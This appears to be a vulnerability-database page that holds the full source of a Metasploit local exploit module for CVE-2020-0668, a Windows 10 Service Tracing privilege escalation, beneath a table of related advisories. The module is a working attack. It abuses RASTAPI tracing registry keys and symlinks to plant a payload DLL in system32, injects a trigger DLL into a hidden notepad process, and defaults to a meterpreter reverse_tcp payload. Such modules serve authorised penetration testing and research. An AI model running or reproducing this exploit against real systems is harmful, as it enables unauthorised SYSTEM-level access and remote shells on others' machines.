| Reporter | Title | Published | Views | Family All 61 |
|---|---|---|---|---|
| Microsoft Windows Kernel Privilege Escalation Exploit | 2 Mar 202000:00 | – | zdt | |
| Exploit for Deserialization of Untrusted Data in Redhat Jboss_Enterprise_Application_Platform | 8 Dec 202020:38 | – | gitee | |
| Exploit for Link Following in Microsoft | 18 Jun 202311:14 | – | githubexploit | |
| CVE-2020-0668 | 11 Feb 202000:00 | – | attackerkb | |
| The vulnerability of the Windows operating system’s kernel, related to errors in memory object handling, allows attackers to exploit their privileges. | 4 Mar 202000:00 | – | bdu_fstec | |
| CVE-2020-0668 | 23 Feb 202000:04 | – | circl | |
| CVE-2020-0668 | 11 Feb 202021:22 | – | cve | |
| CVE-2020-0668 | 11 Feb 202021:22 | – | cvelist | |
| February 11, 2020—KB4532691 (OS Build 17763.1039) | 11 Feb 202008:00 | – | mskb | |
| February 11, 2020—KB4537764 (OS Build 14393.3504) | 11 Feb 202008:00 | – | mskb |
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/post/common'
require 'msf/core/post/windows/priv'
require 'msf/core/post/windows/registry'
require 'msf/core/exploit/exe'
require 'msf/core/post/windows/filesystem'
require 'msf/core/exploit/file_dropper'
require 'msf/core/post/file'
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::Common
include Msf::Post::Windows::Priv
include Msf::Exploit::EXE
include Msf::Post::Windows::FileSystem
include Msf::Post::Windows::ReflectiveDLLInjection
include Msf::Exploit::FileDropper
include Msf::Post::File
def initialize(info = {})
super(update_info(info,
'Name' => 'Service Tracing Privilege Elevation Vulnerability',
'Description' => %q(This module leverages a
trusted file overwrite with
a dll hijacking
vulnerability to gain
SYSTEM-level access on
vulnerable Windows 10 x64
targets),
'License' => MSF_LICENSE,
'Author' =>
[
'itm4n', # PoC
'bwatters-r7' # msf module
],
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
'Targets' =>
[
['Windows x64', { 'Arch' => ARCH_X64 }]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Feb 11 2020',
'References' =>
[
['CVE', '2020-0668'],
['URL', 'https://itm4n.github.io/cve-2020-0668-windows-service-tracing-eop/'],
['URL', 'https://github.com/itm4n/SysTracingPoc'],
['URL', 'https://github.com/RedCursorSecurityConsulting/CVE-2020-0668'],
['PACKETSTORM', '156576'],
['URL', 'https://attackerkb.com/assessments/ea5921d4-6046-4a3b-963f-08e8bde1762a'],
['URL', 'https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html']
],
'Notes' =>
{
'SideEffects' => [ ARTIFACTS_ON_DISK ]
},
'DefaultOptions' =>
{
'DisablePayloadHandler' => false,
'EXITFUNC' => 'thread',
'Payload' => 'windows/x64/meterpreter/reverse_tcp',
'WfsDelay' => 900
}))
register_options([
OptString.new('EXPLOIT_DIR',
[false, 'The directory to create for mounting (%TEMP%\\%RAND% by default).', nil]),
OptBool.new('OVERWRITE_DLL',
[true, 'Overwrite WindowsCreDeviceInfo.dll if it exists (false by default).', false]),
OptString.new('PAYLOAD_UPLOAD_NAME',
[false, 'The filename to use for the payload binary (%RAND% by default).', nil]),
OptString.new('PHONEBOOK_UPLOAD_NAME',
[false, 'The name of the phonebook file to trigger RASDIAL (%RAND% by default).', nil])
])
# stores open handles to cleanup properly
end
def write_reg_value(registry_hash)
vprint_status("Writing #{registry_hash[:value_name]} to #{registry_hash[:key_name]}")
begin
if !registry_key_exist?(registry_hash[:key_name])
registry_createkey(registry_hash[:key_name])
registry_hash[:delete_on_cleanup] = true
else
registry_hash[:delete_on_cleanup] = false
end
registry_setvaldata(registry_hash[:key_name].strip, \
registry_hash[:value_name].strip, \
registry_hash[:value_value], \
registry_hash[:value_type])
rescue Rex::Post::Meterpreter::RequestError => e
print_error(e.to_s)
end
end
def remove_reg_value(registry_hash)
# we may have already deleted the key
return unless registry_key_exist?(registry_hash[:key_name])
begin
if registry_hash[:delete_on_cleanup]
vprint_status("Deleting #{registry_hash[:key_name]} key")
registry_deletekey(registry_hash[:key_name])
else
vprint_status("Deleting #{registry_hash[:value_name]} from #{registry_hash[:key_name]} key")
registry_deleteval(registry_hash[:key_name], registry_hash[:value_name])
end
rescue Rex::Post::Meterpreter::RequestError => e
print_bad("Unable to clean up registry")
print_error(e.to_s)
end
end
def create_reg_hash(new_size, exploit_dir)
reg_keys = []
reg_keys.push(key_name: "HKLM\\SOFTWARE\\Microsoft\\Tracing\\RASTAPI",
value_name: "EnableFileTracing",
value_type: "REG_DWORD",
value_value: 1,
delete_on_cleanup: false)
reg_keys.push(key_name: "HKLM\\SOFTWARE\\Microsoft\\Tracing\\RASTAPI",
value_name: "FileDirectory",
value_type: "REG_EXPAND_SZ",
value_value: exploit_dir,
delete_on_cleanup: false)
reg_keys.push(key_name: "HKLM\\SOFTWARE\\Microsoft\\Tracing\\RASTAPI",
value_name: "MaxFileSize",
value_type: "REG_DWORD",
value_value: new_size,
delete_on_cleanup: false)
reg_keys
end
def remove_file(file_pathname)
vprint_status("Deleting #{file_pathname}")
begin
session.fs.file.rm(file_pathname)
rescue Rex::Post::Meterpreter::RequestError
print_error("Manual cleanup of \"#{file_pathname}\" required!")
end
end
def cleanup_mountpoint(dir)
print_status("Delete mountpoint #{dir}")
unless delete_mount_point(dir)
print_error("Error when deleting the mount point.")
end
begin
session.fs.dir.rmdir(dir)
rescue Rex::Post::Meterpreter::RequestError
print_error("Error when deleting \"#{dir}\".")
end
end
def setup_process
begin
print_status('Launching notepad to host the exploit...')
notepad_process = client.sys.process.execute('notepad.exe', nil, 'Hidden' => true)
process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS)
print_good("Process #{process.pid} launched.")
rescue Rex::Post::Meterpreter::RequestError
# Sandboxes could not allow to create a new process
# stdapi_sys_process_execute: Operation failed: Access is denied.
print_error('Operation failed. Trying to elevate the current process...')
process = client.sys.process.open
end
process
end
def inject_magic(process)
library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'uso_trigger', 'uso_trigger.x64.dll')
library_path = ::File.expand_path(library_path)
print_status("Reflectively injecting the trigger DLL into #{process.pid}...")
dll = ''
::File.open(library_path, 'rb') { |f| dll = f.read }
exploit_mem, offset = inject_dll_data_into_process(process, dll)
vprint_status("Trigger injected.")
payload_mem = inject_into_process(process, payload.encoded)
print_status('Trigger injected. Starting thread...')
process.thread.create(exploit_mem + offset, payload_mem)
end
def launch_dll_trigger
begin
print_status('Trying to start notepad')
process = setup_process
inject_magic(process)
print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
rescue Rex::Post::Meterpreter::RequestError => e
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
print_error(e.message)
end
end
def rastapi_privileged_filecopy(file_contents, exploit_dir, upload_payload_pathname, target_payload_pathname)
handles = []
reg_hash = create_reg_hash(file_contents.length - 1, exploit_dir)
vprint_status("Registry hash = #{reg_hash}")
# set up directories and mountpoints
vprint_status("Making #{exploit_dir} on #{sysinfo['Computer']}")
mkdir(exploit_dir)
vprint_status("Made #{exploit_dir}")
register_file_for_cleanup(upload_payload_pathname)
mount_dir = '\\RPC Control\\'
# Create mountpoint
print_status("Creating mountpoint")
unless create_mount_point(exploit_dir, mount_dir)
fail_with(Failure::Unknown, "Error when creating the mount point... aborting.")
end
# Upload payload
print_status("Uploading payload to #{upload_payload_pathname}")
write_file(upload_payload_pathname, file_contents)
register_file_for_cleanup(upload_payload_pathname)
upload_md5 = session.fs.file.md5(upload_payload_pathname)
vprint_status("Payload md5 = #{Rex::Text.to_hex(upload_md5, '')}")
# Create Symlinks
print_status("Creating Symlinks")
vprint_status("Creating symlink #{upload_payload_pathname} in \\RPC Control\\RASTAPI.LOG")
symlink_handle = create_symlink(nil, "\\RPC Control\\RASTAPI.LOG", "\\??\\#{upload_payload_pathname}")
unless symlink_handle
fail_with(Failure::Unknown, "Error when creating the RASTAPI.LOG symlink... aborting.")
end
vprint_status("Collected Symlink Handle #{symlink_handle['LinkHandle']}")
handles.push(symlink_handle['LinkHandle'])
vprint_status("Creating symlink #{target_payload_pathname} in \\RPC Control\\RASTAPI.OLD")
symlink_handle = create_symlink(nil, "\\RPC Control\\RASTAPI.OLD", "\\??\\#{target_payload_pathname}")
unless symlink_handle
fail_with(Failure::Unknown, "Error when creating the RASTAPI.OLD symlink... aborting.")
end
vprint_status("Collected Symlink Handle #{symlink_handle['LinkHandle']}")
handles.push(symlink_handle['LinkHandle'])
# write registry keys
reg_hash.each do |entry|
write_reg_value(entry)
end
# Upload phonebook file
phonebook_name = datastore['PHONEBOOK_NAME'] || Rex::Text.rand_text_alpha(6..13) + '.pbk'
upload_phonebook_pathname = session.sys.config.getenv('TEMP') + "\\" + phonebook_name
launch_rasdialer(upload_phonebook_pathname)
register_file_for_cleanup(upload_phonebook_pathname)
vprint_status("Checking on #{target_payload_pathname}")
vprint_status("Upload payload md5 = #{Rex::Text.to_hex(upload_md5, '')}")
moved_md5 = session.fs.file.md5(target_payload_pathname)
vprint_status("Moved payload md5 = #{Rex::Text.to_hex(moved_md5, '')}")
# clean up after file move
print_status("Cleaning up before triggering dll load...")
print_status("Removing Registry keys")
reg_hash.each do |entry|
remove_reg_value(entry)
end
print_status("Removing Symlinks")
handles.each do |handle|
result = session.railgun.kernel32.CloseHandle(handle)
vprint_status("Closing symlink handle #{handle}: #{result['ErrorMessage']}")
end
print_status("Removing Mountpoint")
session.fs.dir.rmdir(exploit_dir)
print_status("Removing directories")
unless moved_md5 == upload_md5
fail_with(Failure::Unknown, "Payload hashes do not match; filecopy failed.")
end
end
def exploit
validate_target
validate_active_host
# dll should not already exist
win_dir = session.sys.config.getenv('windir')
target_payload_pathname = "#{win_dir}\\system32\\WindowsCoreDeviceInfo.dll"
if file?(target_payload_pathname)
print_warning("#{target_payload_pathname} already exists")
print_warning("If it is in use, the overwrite will fail")
unless datastore['OVERWRITE_DLL']
print_error("Change OVERWRITE_DLL option to true if you would like to proceed.")
fail_with(Failure::BadConfig, "#{target_payload_pathname} already exists and OVERWRITE_DLL option is false")
end
end
# set up variables
temp_dir = session.sys.config.getenv('TEMP')
exploit_dir = datastore['EXPLOIT_DIR'] || temp_dir + '\\' + Rex::Text.rand_text_alpha(6..13)
upload_payload_pathname = session.sys.config.getenv('TEMP') + "\\" + Rex::Text.rand_text_alpha(6..13) + ".dll"
payload_dll = generate_payload_dll
print_status("Payload DLL is #{payload_dll.length} bytes long")
# start file copy
rastapi_privileged_filecopy(payload_dll, exploit_dir, upload_payload_pathname, target_payload_pathname)
# launch trigger
launch_dll_trigger
print_warning("Manual cleanup after reboot required for #{target_payload_pathname} and #{exploit_dir}")
print_status("Exploit complete. It may take up to 10 minutes to get a session")
end
def validate_active_host
begin
print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")
rescue Rex::Post::Meterpreter::RequestError => e
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
raise Msf::Exploit::Failed, 'Could not connect to session'
end
end
def validate_target
unless sysinfo['Architecture'] == ARCH_X64
fail_with(Failure::NoTarget, 'Exploit code is 64-bit only')
end
if session.arch == ARCH_X86
fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')
end
sysinfo_value = sysinfo['OS']
build_num = sysinfo_value.match(/\w+\d+\w+(\d+)/)[0].to_i
vprint_status("Build Number = #{build_num}")
unless sysinfo_value =~ /10/ && (build_num >= 17134 && build_num <= 18363)
fail_with(Failure::NotVulnerable, 'The exploit only supports Windows 10 build versions 17134-18363')
end
end
def launch_rasdialer(upload_phonebook_pathname)
local_phonebook_path = ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2020-0668', 'phonebook.txt')
ensure_clean_destination(upload_phonebook_pathname)
vprint_status("Uploading phonebook to #{sysinfo['Computer']} as #{upload_phonebook_pathname} from #{local_phonebook_path}")
begin
upload_file(upload_phonebook_pathname, local_phonebook_path)
rescue Rex::Post::Meterpreter::RequestError
print_error("Failed to upload phonebook")
return nil
end
print_status("Phonebook uploaded on #{sysinfo['Computer']} to #{upload_phonebook_pathname}")
# Launch RASDIAL
vprint_status("Launching Rasdialer")
rasdial_cmd = 'rasdial VPNTEST test test /PHONEBOOK:' + upload_phonebook_pathname
print_status("Running Rasdialer with phonebook #{upload_phonebook_pathname}")
output = cmd_exec('cmd.exe', "/c #{rasdial_cmd}", 60)
vprint_status(output)
end
def ensure_clean_destination(path)
return unless file?(path)
print_status("#{path} already exists on the target. Deleting...")
begin
file_rm(path)
print_status("Deleted #{path}")
rescue Rex::Post::Meterpreter::RequestError => e
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
print_error("Unable to delete #{path}")
end
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation